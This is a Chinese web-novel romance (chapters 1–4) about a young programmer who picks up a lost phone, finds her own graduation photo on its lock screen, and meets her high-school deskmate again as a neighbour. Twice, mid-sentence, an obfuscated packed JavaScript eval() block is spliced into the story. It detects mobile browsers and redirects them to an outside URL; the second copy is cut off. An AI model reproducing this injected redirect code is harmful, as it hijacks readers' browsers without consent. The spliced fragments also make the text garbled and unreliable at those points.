《捡到高中同学手机后》 1. chapter(01) 大学毕业后周柠在S市某互联网大厂卷生卷死,卷了两年后,因业务线被裁整个项目组齐领盒饭。她决定先回老家C市找个中小厂修养身心。 不管怎么样,暂时不用天天被迫熬夜了!睡觉万岁!(被生活榨干但还是要强颜欢笑语气) 她能力和运气不错,因为大厂的工作经验,回C市后第一家公司就面试成功。 当初报考大学故意报很远的代价就是与初高中建立起的朋友圈生疏,等又在外地工作两年后,微信里还能聊得上天的高中同学只剩下两三个,还能单独约出来玩得就只剩下一个。都是女生。 友谊需要维系,周柠向来不太喜欢和人打交道,能维系好两三个朋友对她而言已经能够满足日常情感需求。 这天,她和死党李依依聚餐回家后,从包里摸出两个型号颜色都相同的手机。 机体淡青,透明壳。只不过她的手机壳上有白色线条勾勒的巨大笑脸,而另一只没有。 她可以确定这只手机不属于李依依。 记得当时她是在座位上看到手机,以为是自己的,顺手就放进了斜挎包里。 所以……她这是误拿了别人手机? 嘶,失主找上门来该怎么解释? 您误会啦,手机不是我偷的! 不是你偷的?那我手机怎么在你包里?难不成是它长翅膀自己飞进去的? 饭店有监控,不信我调给您看,可别诬赖好人哦! 啊,红豆泥私密马赛!我们全体饭店服务人员经理老板向周女士诚恳致歉,那里是监控死角!没拍到您偷手机的飒爽英姿! 警察叔叔,清汤大姥姥,你们听我解释呀! 噢漏漏漏,脑补结束,周柠用力摇摇头,将那些糟糕的想法赶出去。 她按了按这只陌生手机的按键,屏幕没亮,看来是没电了。主人打不通电话,不着急才怪。 连忙充电,屏幕很快亮起,随着一声欢快的音乐,手机结束震动,然后一个电话打进来。 周柠连忙点接听。 “您好,请问是失主吗?我在饭店不小心把您的手机装进包里了,很抱歉。如果您需要的话,我可以跟您约定地点把手机送到您手里。或者我把手机送到附近派出所,您再去取。” 一串话说完,对面没有回音。 “喂?”她又说了声。 担心是不是电话被挂断,她又看了眼屏幕,屏幕上写着四个字,助理小刘。 明明电话没挂断呀。 “喂?您好……”于是她又重复了一遍刚才的话。 这时,对面传来动静,听着像是两个人在换手机的声音。 “咳咳,女士您好,该怎么称呼?” 谢天谢地,终于有人声了。 “我姓周。” “周女士您好,这是我朋友的手机。如果方便的话可以向这个手机号——180xxxxxxxx发送短信约定地点,任何地方都可以,我过来取。” 呜,苦命打工人,什么朋友,肯定是老板举着枪逼你做的,我懂! “180xxxxxxxx,”周柠重复了一遍电话号码,“地点时间都由我来定吗?会不会不方便?” “不会,他有备用机。” 周柠噢了声,发送过去一条地址,是新公司写字楼下的罗森便利店。 “明天中午一点,可以吗?” 明天入职,上午办完手续中午吃饭刚好能在便利店等人来拿手机。她对陌生人依旧保持着警惕,能说公司附近建筑物的情况下,就避免说出准确地址。 “好的,谢谢,到时候我过来取。” 电话被飞速挂断,手机另一头传来嘟嘟嘟的忙音。 看来助理小刘是个大忙人哦。 好心肠的周柠放下手机准备再帮忙充会儿电,可是屏幕上亮起的图片却骤然令她心脏收紧。 这不是她的高中毕业照截图吗? 里面的女生还十分青涩,白皮肤,瓜子脸,穿校服,扎着贴头皮的高马尾。幸好头骨和发际线还算优越,不然这个发型实在是惨不忍睹。 虽然死党经常说她是糊涂虫,但她不至于糊涂到连自己的照片都认不出。 所以这个手机的主人她或许认识,而且极有可能是她的某位高中同学。 难怪刚才她说第一句话的时候对面不回应,还要让朋友来取手机,看来是听出她的声音了! 谁?到底是谁?都高中毕业六年了还拿她毕业照截图当屏保!这是出于什么变态心理啊? 周柠平日里闲下来的时候总是看悬疑打发时间,大学的时候更是在寝室刷完了豆瓣一整套悬疑书籍和影片单。 所以这时她的第一反应就是,回忆高中的时候有没有得罪过人,以至于让人恨得念念不忘六年。 啊啊啊头好痒,要长脑子了。我明明是个好宝宝从不跟人交恶的! 周柠抓了抓头发,然后给死党李依依发去一条微信消息。 [依依,你还记得高中的时候,有没有什么,特别讨厌我的人吗?] 死党很快回复:[讨厌你的想不起来,喜欢你的倒是一大堆。] 周柠发去一个水獭捂脸的表情包:[啊?] 然后接着输入:[谁会喜欢我呀?] 李依依发来三个句号。她显然有些无语,接着说:[练老,她很喜欢你。] 高中生物老师是个成天笑呵呵的老太太。 周柠在手机对面点头:[确实,我是她科代表嘛。] 李依依又发来张笑得捶地的表情包。 [我今天捡到别人手机了,手机屏保是我的高中毕业照截图。] 周柠编辑好消息发过去,从头到尾,将来龙去脉全讲给李依依听,并且强烈表示一定是有人对她有意见,或者是想对她做些什么才会拿她照片当屏保。 看完消息后。 李依依:[……好别致的推理,不愧是你。] 周柠:[明明是很有逻辑的推理。] 李依依发来三个句号。 周柠:[?] 李依依:[哈哈哈笑死我了,你是怎么想的呀!!!有没有可能,是有个人暗恋了你至少六年?] 周柠:[不信。我又没漂亮到惊天地泣鬼神,哪有人六年不见面还念念不忘的?不会有人傻到在我这一棵树上吊死吧?] 李依依:[还是先别纠结信不信喽,你是不是想找出把你当手机屏保的人是谁?明天问问那个助理小刘呗。] 周柠:[不能打草惊蛇,而且连来拿手机都遮遮掩掩的,我问了他也不一定说实话呀。] 李依依:[也对,那你用排除法吧。] 于是周柠翻出压箱底的毕业照,开始不分男女地一个个做排除。 一眼望过去,周柠瞬间就从乌泱泱的人头里捕捉到祁越的脸。 嗯,帅得很客观,当之无愧的漫撕男。 非温柔系,反而有些痞气,显凶,像是那种不苟言笑,拳头很厉害的不良少年。 补充,爱玩但成绩优异版不良少年,好气。 高二那年周柠曾跟他做过一学期同桌,虽然那时发现他人品其实不错,但刻板印象还是让她下意识觉得,自己跟他不是一路人。 而且,他拍毕业照怎么不看镜头笑?他在看哪里咧? 这种爱玩的酷哥一定会觉得文静乖乖女寡淡无趣,所以,周柠第一个排除的就是祁越。 不过两小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13159976|138691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时过后,她把毕业照里所有人都画上了一条斜线。 额……周柠丢开可擦记号笔,举手投降。 现在是法治社会,总不会胆大包天到对她做出实际伤害。她也没办法当思想警察,随意管控别人是喜欢她还是讨厌她。 既然如此,干嘛还要折磨自己呀!吃黄瓜味薯片,刷剧!明天就要重返社畜生活了,要趁机多享受! 手机屏幕亮起,是李依依发来的消息。 [排除法找出嫌犯没?] 周柠叹气:[报告长官,刚入职的小警察缺乏经验,现在需要看部刑侦剧多多学习。] [好的小周同志,明天就要出任务了,一定要多多警惕嫌犯同伙,切勿自乱阵脚!] -- 新公司氛围不错,虽然工资比不上大厂,但双休,早十晚六,午休两小时,非特殊情况不加班,平常也不需要打卡,据说节假日会发米面粮油。 除每周三统一下午茶外,储物柜还放着小零食可以随吃随取。 普通点的是奥利奥瑞士卷苏打饼干,然后是手工制作的雪花酥,样式精致,一看就不是那种工厂制作的便宜货。 周柠最喜欢吃的就是雪花酥,抹茶草莓、草莓奥利奥、薄荷巧克力、抹茶无花果、伯爵红茶年糕……口味花样多得惊人,刚进公司她一口气就干掉三颗。 后端部的同事小林看着零食货架吐槽,“怎么放这么多雪花酥呀,之前投票才3%的人写这甜腻腻的玩意儿。”直到翻出香辣鸭脖和泡椒魔芋爽才满意离去。 咦?都不喜欢吃吗?那就都是我的了! 于是周柠幸福地捧着脸又干掉一颗。 上午办完手续,趁着午休周柠到写字楼下罗森等人。 她提前了五分钟,没等太久,大概三分钟后听到有人在身后问。 “周女士是吗?” “是的。”周柠从高凳上跳下来,“你就是来帮朋友取手机的助理小刘?” 助理小刘穿着随性,花T牛仔裤,不是她想象中卖保险的样子。 “这是损友,老板都给我备注全名呢。”助理小刘笑道。 周柠感叹,“你们损友间关系真好。” “我欠他钱。” 周柠:“肯定欠巨款了吧?” “不多,也就一个亿。” 两人笑起来。 周柠将手机递过去。 面对陌生人,她有时候e得可怕,但面对半生不熟得人,她又i得想挖地缝钻进去,就连在电梯里碰到都要背过身装没看见。 虽然充了电,但她还是将手机保持关机。她可不希望手机屏幕亮起时,那张青涩的毕业照暴露在两人面前。 她原本还想问你朋友是男是女,叫什么名字,但话到嘴边还是没问出口。 按理来说,如果助理小刘看过屏保照片应该一眼就会认出她,然后小嘴叭叭着说,你是我债主的高中同学欸! 可是助理小刘的表现不太像之前见过她照片的样子。自己贸然问他债主名字实在奇怪,后续若被问起为什么要问名字,解释起来将会无比艰难。 秉承着敌不动我不动的原则,周柠跟助理小刘说,“我还有急事,先走啦。” 此事告一段路,溜之大吉,回公司摸鱼。 “她什么都没问。”刘启明将手机递回给债主老板,“某人要失望咯。” “我不着急,”祁越挑眉,有些痞气,“菩萨都说了,迟早的事。” 透过玻璃门,可以看到周柠又鬼鬼祟祟地打开储物柜,薅了一堆雪花酥塞进口袋里,如蚂蚁搬家般,搬回工位。 真可爱哦,口味一点都没变。 尽管已经过去很久,祁越还是忍不住唇角上扬。 2. chapter(02) 新公司规定,只要活干完了就能提前走人,而旧公司看你活干得快就会给你安排更多的活,毕竟,能者多劳。所以当周柠得知自己能提前半小时下班时,感觉自己整个心灵都受到泉水的滋润。 以前能准时下班都是奢望,现在竟然能提前下班,虽然还没见过新公司老板的尊容,但此刻在周柠心里,这位东家的形象瞬间变得伟岸俊朗起来。 二话不说便背着双肩包嗒嗒赶回家,并顺走了一包奥利奥。 手机震动,李依依的消息发过来:[呼叫007,呼叫007,这里是996,今日案件有何进展?收到请回答,over。] 这时周柠刚到家,她暂时没租房,和父母住在一起,他们今天做了麻辣水煮鱼,烧热的油浇在铺满辣椒香料的水煮鱼上,滋一声响,香味和油烟一起散出去,馋得人口水直流。 周柠:[回答996,今日进展为9颗雪花酥,一小盒水果拼盘,半包奥利奥,如果没有意外的话,还会有半锅水煮鱼。特别提醒,今日007本人提前半小时下班,汇报完毕,over。] 李依依:[靠,我还在加班(哭泣.jpg)] 李依依:[但小周警官,先别绕弯子,你知道我要问什么。工作玩忽职守,小心本局长扣你工资!] 周柠夹起一块比水还嫩的鱼肉放进嘴里,打字道:[嫌疑人狡猾,逃了!] 李依依:[emm你是把手机还回去后啥也没问吧……] 周柠:[知我者莫若依依啊!] 李依依:[呱,你注定孤生(青蛙.jpg)] 周柠:[主要是我觉得,嫌疑人也没犯太大罪,这案子不重要。] 李依依:[你就不好奇?] 周柠:[好奇,但也就一点点……] 打了一堆字删删减减,最后发送: 周柠:[就算知道是谁,对我以后的生活也没太大影响,该吃吃,该喝喝。知道了反而麻烦,也许还会扰乱当下的平静。我就当没捡到过那个手机。] 周柠:[再说了,万一那个人是变态呢?我就要考虑人生安全报警了!哪个好人拿高中同学毕业照当屏保啊!] 手机屏幕上方显示正在输入中好久,李依依也在删删改改,作为一个谈过七次恋爱的情场老手,她对周柠这种状态苦口婆心道:[乌龟柠,你需要一场入室抢劫的爱情。] 周柠:[抢劫?局长,你居然忍心看新来的热血小警官被抢?] 李依依:[当然啊,局长我心狠手辣(五根手指插辣椒.jpg)] 周柠:[怎么会这样(哭泣小女孩.jpg)] 李依依:[拜托,小周警官,都进派出所任职了,遇到爱情歹徒还不知道反击制服吗?这还要本局长教?编制怎么考过的?!] 李依依:[本局长要干活了,不像你们这些小警察这么闲,本次会议over!] 退出微信,周柠点开昨天刚存进相册的高中毕业照。照片放大,就看到祁越那张拽得跟二五八万的脸。不得不说,这人长得实在扎眼。 但周柠目光并未停留太久,来来回回扫视三圈,死活想不出到底谁会闲着没事干拿她照片当屏保,害得她现在下班了还要废脑细胞。 碗里的鱼肉已经快冷了,这时妈妈终于看不下去提醒道:“一家人吃饭呢,不要玩手机。” 周柠立刻回神,放下手机,将碗里剩下的半口鱼肉吃掉。 “新公司也压榨员工下班时间啊?”妈妈叹气,“早跟你说大学读师范吧,教师工作稳定,学校环境单纯,放假又多,你不听我的。” 周柠摇头,“新公司我待得挺开心的,今天还提前半小时下班呢。” “那也很累,那个工作性质就很累。”妈妈继续叹气,“但比你前公司好点,以前跟你视频,脸色蜡黄,气色还比不上你五十多岁的娘。” 吃完饭后,周柠收碗去洗,妈妈拦下说,“让你爸洗。” 周柠看向爸爸。 爸爸看向妈妈,“我做的饭。” 妈妈放话道:“女儿才刚回来就让洗碗,你就这么当爹的?” 爸爸最终妥协,“好吧,我洗。” 爸妈都有早睡基因,但周柠基因突变,是夜猫子。主动熬夜的话,她倒是很积极。 晚二十三点,周柠房间灯还亮着。她在看电影,耳朵里塞着耳机,所以没听到脚步声,直到门被敲响才后知后觉地摘下耳机。 她还没喊进,门就被打开一条缝,妈妈眯着眼睛探进来,“这么晚了,怎么还不睡?” “还有点工作没处理。” 就像学生时期撒谎说自己作业还没做完一样,这个谎周柠扯得很丝滑。 “要早点睡哦,不然对身体不好。别成天气你妈。” 门合上了,脚步声走远,周柠也把房里灯关了钻进被窝。 还是睡吧,虽然她的生物钟睡眠时间是零点,比以前加班的时候足足早了三个小时呢。 闭上眼睛,周柠忍不住想事情。 爸爸妈妈都很爱她,但是,她也该找个合适的时间搬出去一个人住了。 就像当年她执意报了离家很远的大学,又报了妈妈不太赞成的计算机专业一样。 今夜有梦,而且很奇怪,居然梦到跟她八竿子都打不到一块的祁越了。 这大概是祁越第一次出现在她梦里,梦里的他们正坐在一起上信息技术的实验课。 这门课设在高一上学期,每周一节,理论课和实验课间错开来上。因为才高一,所以这门课在众多主课老师手中侥幸逃脱被强取豪夺的命运。 实验课每两周一次,老师讲完理论后学生可以上机房敲代码。但由于这门课不考试,只为拓展学生兴趣,信息技术老师也没指望学生真的用心,所以与其说这是实验课,不如说是学校专门拿给学生用来玩电脑放松的课。 上第一节实验课的时候,老师就说,“网络是开放的,你们有兴趣做实验的话可以做做,没兴趣的话,就玩玩小游戏吧。” 虽然机房的网络差到连加载图片都要半分钟,但大多数同学都迎难而上地开着电脑玩4399小游戏,只有少部分同学在认真做实验。 比如自诩好学生的周柠,她就对照着老师给的古董文件敲得很认真。 于是第一次实验课时周柠就学会了用C语言写“HelloWorld”和用for循环打印三角星星堆,她学得快,轻松搞定。 而那节课坐旁边的男生在玩植物大战僵尸,点得鼠标啪啪响。男生玩到一半似乎觉得无聊,看了眼一旁认真敲代码的乖宝宝周柠,然后扭回头开始趴桌上睡觉。 周柠松了口气,没找她事,还趴桌上睡觉了,不会打扰她,很棒,请务必继续保持。 刚进校,班里人的名字她还没记全,只能大概记住人脸,自然就说不出男生的名字。但她对这个男生的脸却印象深刻,因为长得实在好看。 从小到大她就没在现实生活里见到过能长成青春电影主角的男生。但这个男生的气质过于尖锐,成群结队,众星捧月,像个拉帮结派的大哥大。 黑恶势力,速速远离!于是周柠在思想中对这个男生打上“危险”的钢印。 等开学一个多月,第六周周一,上第二次信息技术实验课时,周柠已经能说出全班同学的名字了。 第一次实验课坐她旁边的男生叫祁越,好几次没交作业被老师点名,第一次月考缺考,全年级排倒数第一。除此之外,由于长期待在舒适的两三人小圈子里,她对祁越再无更多了解。 所以她对祁越的初印象为——花钱进火箭班的公子哥。 第二次实验课,为了避免和公子哥再次碰头,周柠决定换座,但令人遗憾的是,姗姗来迟的公子哥潇洒地坐在她身旁的空座上,带来一阵风。 大概是刚打过球,湿热的汗气穿过蓝白校服T恤,有股莫名好闻的洗衣液香气。 已经上课,周柠想换座也换不了,只能认栽。 台式电脑里没什么好玩的,网络又差,除了4399小游戏就是扫雷蜘蛛牌,用网页看小说倒是流畅。但公子哥不看书,公子哥继续举着水果打僵尸。 周柠点开老师给的文件,这次的内容全面升级,要求用递归函数解决汉诺塔问题。看了半天也没想明白那几个小圆盘是怎样传递,这个递归函数又是怎么运作,敲的程序代码也不对,一运行就报错。 她忽然觉得实验内容开始变得面目可憎,难怪程序员会秃头。 公子哥似乎是发现了她的烦恼,饶有兴致地放下鼠标,拖着下巴明目张胆地看她抓耳挠腮地改bug。 怎么改都改不对,还被人恬不知耻地盯着看,周柠大窘。 草地里阳光堆积成山没人捡,一大波僵尸快速前进,咔擦咔擦啃掉植物,触动小推车,这下道路被彻底打通,剩余僵尸畅通无阻。 周柠停下忙碌改bug的手,盯着屏幕道:“你脑子要让僵尸啃啦!” 介于祁越那张带着少年戾气的脸看上去有些阴晴不定,嘴快说完话后周柠疯狂叠甲,“我不是在骂你,而是在说游戏。” “当然,我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“名字呢?没有名字哪里知道你谢谁哦,我可不做亏本买卖。” “emm……谢谢祁越同学。” 祁越似乎心情不错,叽里呱啦跟她讲了一大堆递归函数的思想和用法。周柠听得连连点头,内心直呼斯国一。 于是祁越的形象在她心里升级为——懂代码但人品道德是否低劣有待商榷且花钱进火箭班的公子哥。 直到期中考试成绩出来,祁越以领先一名的成绩排在她前面,她才开始反省自己太过狭隘。 后来她成绩在年级前十里上下浮动,最高几次考到第二名。至于年级第一,是祁越。所以年级上流传一句话,铁打的年一,流水的年二。 …… 早上八点十分,闹钟准时响。 周柠在床上翻滚几圈后无奈起床。抓了抓头发,想不通自己为什么会忽然梦到那两节信息技术实验课。 大概是昨晚吃饭的时候妈妈提到高考完填志愿的原因。 高考发挥比考前模拟略低,但还在正常范围内,妈妈建议她报一所985师范,她不同意,迟来的叛逆期让她死活不松口,最后被S市另一所大学的计科专业录取。 现在想来,当初会报计算机,八成是因为高一时的信息技术实验课。 不过期中考试过后,班主任以火箭班居然没把年级前十包圆为由,禁止学生再借上课之机行玩电脑之事,大手一挥,把信息技术实验占了用来上物理。 仔细算下来,她也就上过两节实验课,而除了那两节实验课,她与祁越在高一再无任何交集。就像是两条平行线,在各自的轨道中前进。真正交流多起来是在高二做同桌的时候。但等到不做同桌了,交流也就又少了。 所以昨晚能梦到和祁越上实验课,周柠觉得十分神奇,她已经六年没见过祁越真人了,现在肯定模样大变,也不知再见时还认不认得出来。 八点五十,周柠准时出门赶地铁。 通勤时间一小时,等到公司时刚好十点。上班太久,她甚至不想提前哪怕一分钟。 忽然,手机屏幕弹出消息。是李依依。 [在干嘛呀宝贝儿~] [在挤地铁。(被上班吸走精气.jpg)] [哦对,你通勤一小时噶。时间太长可难受。] [还好,以前一个半小时。] 还在S市时租房贵,她又不愿意跟人合租,所以租的房子离公司也比较远。 [你还跟叔叔阿姨住一起?要不要租个里公司近点的房子?] [有租房的想法。] 还真是想什么来什么,周柠昨晚就开始琢磨租出去的事情了。 她点击发送过去一个哭丧脸表情,继续输入道:[但我还没开始看房子,租房好麻烦。] 李依依:[我有房源啊!信我就来!勾手.jpg] 3. chapter(03) 星期六,早十点,周柠跟李依依去看房。 她不喜欢租房离公司太近,不然下班了也感觉像是在上班,一开窗就看到公司,那多糟心!家和公司一定不能太过亲密。 这个小区面积适中,绿植丰富,地理位置和物业管理都很不错。出门就有地铁,坐三站直达公司楼下。以后也可以骑小电驴。幸福。 而且小区里居民的综合素质都挺好,具体表现为每个人遛狗都牵绳且会捡粑粑。 两梯两户,房子四室两厅三卫,六楼精装房,一个人住的话简直空到离谱。家电俱全,几乎可以直接拖行李入住。周柠越看越满意。 “不过这个地段条件,房租应该不便宜吧?”周柠忍不住盘算起自己的存款,租的话有点肉疼,她也没必要住这么大的房子,打扫起来多麻烦。 “这是我朋友的房子,他要出国一段时间,家里一直空着会积灰,想让我找个爱干净的人帮忙打理,所以除了水电物业费,不需要额外交房租,因为他本意也不是想租房子赚钱。原本是想让我住,但我上班公司离这里太远了,又不能把男朋友带过来一起住,所以不太合适。” 周柠瞳孔地震,“真的假的?你那朋友可靠吗?” “可靠啊!”李依依拍拍胸脯,“我从来不跟乱七八糟的人鬼混的,相信我!” 周柠点点头。她和李依依从初中就认识了,初高中还都是一个班,知根知底,不需要怀疑李依依的人品。 “除了水电物业费,还有别的么?” “还有几颗仙人球,得帮房东把它们照顾好。” 周柠看了眼放在窗台盆栽,圆圆的仙人球竟然开花了,一朵粉色的小花,另一颗也冒出多白色的花苞,看来房东把它们照顾得很好。 阳光从窗外照进来,房里采光很好。周柠简直快被幸福砸晕了,竟然让她捡着这么个大便宜。 “你让房东放心,我一定帮他把仙人球照顾好!把他微信推给我吧!等仙人球开花了给他发照片!” 房东的头像是颗仙人球,朋友圈里也全是仙人球生长日志。 周柠和房东简单交换了几句租房事宜便退出躺列了。总而言之,房东性子有些冷,但还是能正常交流。 与此同时,李依依很愧疚地点了祁越发来的红包。 中午,两人出去吃饭。 周柠停在这家人均一千二的餐厅门口,“你确定要请我吃这家?你发财啦?” “确定,快进去吧,我都要饿死了。”李依依挽着她胳膊往里拽,“老板发的奖金就得跟朋友一起用。” 但周柠不动如山,“确定哦!确定哦!不能反悔哦!” “确定!确定!不反悔!” “等等,你再说一遍,我要拿手机录下来。” …… 确定好租房后,星期天下午周柠就拖着两个大行李箱入住了。 光开窗还是有些闷,周柠打开门通风,让穿堂风把屋里吹透。 这时她发现对门邻居新铺了地毯,上面是蜡笔小新和小白拖着几个大字——“你回来啦!” 好可爱,这款地毯设计她在橙色软件刷到过,里外两张地毯,外面写着“你回来啦”,里面那张写的是“请进”。 看来这层楼唯一的邻居也是个很热爱生活的人呢,她忽然有些好奇对门住户。 一时半会儿应该不会有人,周柠把门开着再通会儿穿堂风,然后进屋整理行李箱。 牙刷牙膏刷牙杯,洗衣液沐浴露洗面奶摆放整齐,衣服一件件取出来晾衣架再成堆放进衣柜。 这时,屋外忽然传来不小的动静,周柠敏锐地去关门。 可门还没来得及关,一只萨摩耶就扑过来,两只小爪子抱着她的大腿不放。 咦?耶耶。怎么回事? 萨摩耶身上挂着牵引绳,应该是只有主人的狗狗。 狗主人呢? 萨摩耶抱着她的大腿摇尾巴,黑溜溜的眼睛望向她,雀跃地吐着舌头。 啊!好可爱。 周柠心快化了,忍不住去摸它的头。这是只很乖的狗狗,毛茸茸的脑袋撒娇似的贴着她的手心蹭。 “椰子,过来。” 一人一狗一起朝声音传来的地方望去。 是个年轻男人。 那人穿着灰色运动衫,手里一罐可口可乐。 周柠瞬间愣在原地,大脑飞速运转,张了张口想要说话却不知道该怎么组织语言。 眼前的人,是祁越。 六年没见,他跟毕业照上的样子有细微变化。少了几分少年人的锋芒毕露,多出几分成年人的淡定从容。 至少在见第一眼时,她没查觉到那股生人勿近的冷峻感。 他认出我了吗?要不要打招呼?啊,好尴尬! 主人来了后萨摩耶老实很多,没再肆无忌惮地抱着周柠的大腿,而是选择躲在她身后,探出一只果冻般Q弹的耳朵来暗查风声。 “抱歉,刚才系鞋带没管住它。”祁越说。 祁越眼睛亮亮的,这么直勾勾地看过来,让她有些不好意思。 “没关系,真的,狗狗很可爱。”周柠说。 脑中思绪千回百转,周柠忽然觉得祁越可能没认出她,也可能是认出她但不打算叙旧。这两种都很好,能省去很多不必要的社交。 他们已经不在那个见面会打招呼的感情阶段啦!干脆装不认识吧!毕竟漫长六年时光,苦于加班的成年人健忘些也很正常。 可祁越却忽然喊她名字,“周柠。” 哎,还是躲不过。 大概是因 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目光被迫上移,视线交织。她下意识想躲,可祁越目光却追着她跑,盯得很死,像是审判嫌疑人的侦探。 “刚搬过来?”祁越问。 他表现得很从容,声音也很好听,这使得周柠的紧张感消减大半。 “嗯,是的,租房租在这里。” “幸会啊老同学,我是你新邻居。”祁越笑得更张扬,似乎很高兴能见到她这个不算太熟的老同学。 “哇,好巧。” 两相对比,周柠的回复就略显得有些官方。 “要来新邻居家吃饭吗?”祁越将手里的可乐罐举到她眼前,“新邻居会做可乐鸡翅。” “不不不,太打扰了。”周柠拒绝三连。 感情循序渐进才是她的舒适区,如果要约饭的话,至少得先提前约好时间和地点。碰巧碰面就要一起吃饭,会给她平静的生活带来不小的波澜。 祁越却不打算就此收手,他低头凑近去盯住她躲闪的眼睛,施加冻结技能,不许动。 “老同学,新邻居,红蓝buff加起来施展请客技法,周柠,要拆这招得换新装备才行。” 咕咚,周柠吞了吞口水。 能说什么呢?她一时半会儿可编不出新借口做装备。 “而且,”祁越紧接着蹲下身揉了揉萨摩耶毛茸茸的小脑袋,然后抬头望向她笑道:“我还有萨摩耶无限血条哦。” 萨摩耶叼着牵引绳可怜巴巴地望向她,并试图将牵引绳塞进她手里。 啊,核弹威胁,这一定是核弹威胁! 结果毋庸置疑,我方一败涂地。 周柠只好握住萨摩耶叼来的牵引绳,签署战败方口头合同,“好吧,那就麻烦你了。” 4. chapter(04) 周柠是个边界感很强的人,如非特殊情况,日常不轻易到别人家做客。主人对客人若热情得太过刻意,她也会觉得招架不住,因此表现得更加客气。 但到祁越家并没有让她觉得有种做客的拘束感,可能是因为祁越独居,也可能是因为祁越的待客之礼十分随意,随意到好像不是在请客人吃饭,而是在一个寻常日子里跟室友一起进家门。 周柠还在纠结进屋是该站还是该坐,如果坐的话坐哪里比较合适。祁越却没给周柠这个纠结的机会。 他问:“要过来看我做鸡翅吗?” 说这话时他正在围围裙,简约的黑白竖条纹。 又解锁一套新皮肤。 短短十几分钟,周柠就见到祁越两种不同的样子。以前她只见过祁越穿校服的模样。她发现自己对祁越的认知正以突飞猛进的速度加深。 一个人在客厅摸鱼该多无聊哦。 “要!”周柠哒哒跑过去,决定见缝插针打打下手。 似乎被祁越的随性所感染,最初见面的尴尬感消减大半。 平底锅倒油加热,放入鸡翅煎至两面金黄。灰色运动衫衣袖向上堆至手肘处,露出流畅漂亮的小臂肌肉。周柠看着鸡翅,目光却不受控制地落在祁越小臂上。 只见他单手拉开易拉罐,将可乐倒进平底锅慢慢煎煮,小臂肌肉线条因用力而变得更加性感。 还有扣在易拉罐上的五根手指,她以前怎么没发现祁越的手这么好看呢? 煎煮鸡翅的平底锅内咕噜噜冒泡泡,厨房瞬间被可乐的甜香和鸡翅的肉香盈满。 周柠有些不自在地撩了撩头发,“需要我帮忙吗?” “需要啊。”祁越扭过头冲她笑,然后将空易拉罐递到她面前,“帮我把它扔掉吧,重在参与。” 周柠乖乖照做。 “还有别的忙么?” 她知道这种事放到职场上该被批评眼里没活了,可那双迷茫的双眼实在发现不了自己能帮忙做些什么。她只会煮面,担心贸然出动会碍手碍脚。 这时祁越却说:“有,监督我做菜,就用市监局的那套标准。” 周柠没绷住,惊讶,疑惑,好奇,有趣,全在脸上过了一遍,最后咳嗽三声进行表情管理,“好,我会严格检查的。” 既然祁越这么说,那她就勉强当个食品检查员吧。 可乐已经收汁,祁越将鸡翅加进餐盘,撒上一层白芝麻,看上去十分诱人。 周柠默默拿出手机往便签上敲字。她哪里知道市监局是什么标准哦,只能想到什么写什么。 品相10分,香味10分,味道待定,卫生状况10分,厨师…… 周柠忍不住停下来观察祁越那头茂盛的头发,也不知道做的什么工作,在哪家公司高就,居然还能容光焕发,简直像个男大学生。 呜,一定是被前公司折磨得太惨了,她简直快要对上班ptsd,刚实习那会儿白天被领导骂晚上回出租屋哭,硬是靠着股一定要在大厂闯出点名堂的信念才坚持下来。 然而,创业未半而中道崩殂喽。 不过她很快就跟自己和解了,一切都没有命重要。而且,人生是旷野,她未来会有无限可能。 转念一想,如果刚毕业来的是现公司,说不定前两年她也会面色红润,状态满分,闲下来还能琢磨琢磨怎么给自己做饭。可惜选择已成过去,如今元气大伤,只能慢慢恢复。 “嘿!”祁越伸手在她眼前挥了挥,“干嘛一直看着我发呆?” “啊,我……”周柠心虚地撩了撩头发,“我在想你怎么这么会做菜。” “可能是高中毕业后被发配英国留学的原因,服刑期间顺带成了名好厨子。” “难怪你高三时不常来学校。” 祁越:“噗嗤。” 周柠不知道这句话哪里好笑,疑惑地望向他,“笑啥。” 祁越解释道:“只是有些惊讶,我还以为你一心只读圣贤书,不会关注同学。” “高三是得认真些,但同学都在一间教室,想不关注很难。” “那你说说李君雅骨折后在家休息了多久才返的校?” “你这是强人所难,这种具体的日期就算还没毕业都记不清吧,更不要说已经毕业六年了。” “没有强人所难,因为咱班没有叫君雅的人,只有你桌肚里常备的点心面丸子才叫君雅,而且那个小妹妹还姓张。” 周柠:“……” 祁越坏笑道:“看来我在周同桌心里地位也不算低嘛,至少还记得我高三不常来。” “嗯,”周柠点头承认,“跟班里很多人比起来,我跟你关系算是比较熟的那一挡。” “是啊,你一眼就认出我了,关系肯定熟。”祁越一边说一边往切碎的海蜇头里倒调料,“不过之前有个同学明明认出我来了,却想装不认识。还是我提前跟她打招呼她才肯跟我说两句话。” “谁啊,我认识吗?”周柠不由好奇,那人简直跟她是双胞胎。 “不知道呀。”祁越扭头过来盯住她的眼睛。 后知后觉,周柠瞬间如芒在背,只好继续装下去,“应该不认识吧,这种人实在是太讨厌了。” 祁越低声笑起来,“是有点讨厌,不过我不记仇。” “不记仇好啊,关系冷下来想要升温可费劲了。她以后肯定见你一回打三次招呼。” “借你吉言。” 一共四道菜,可乐鸡翅、滑蛋虾仁、凉拌海蜇、蒜蓉生菜。靠近厨房有张吧台,餐桌两个人坐太大,吧台正好。 但吧台挨着坐距离很近,就像是在做同桌一样。 老同学聚在一起能聊的除了上学时发生的事情不外乎分开的那些年里自己的经历。 你最近怎么样? 之前在做什么? 以后有什么打算? 祁越在英国两年加速修完四年本科学分,一年修完硕士便急匆匆回国,理由是那个地方东西太难吃,天气太诡异,不适合人类生存。回国后独立创办了家游戏公司,人数规模虽然不高,但目前营收还算不错。 他没说游戏公司名字,周柠也按住好奇心没问,然后开始聊自己近况,特别是把现公司老板翻来覆去地夸了一遍。 她真的很少会觉得老板好。 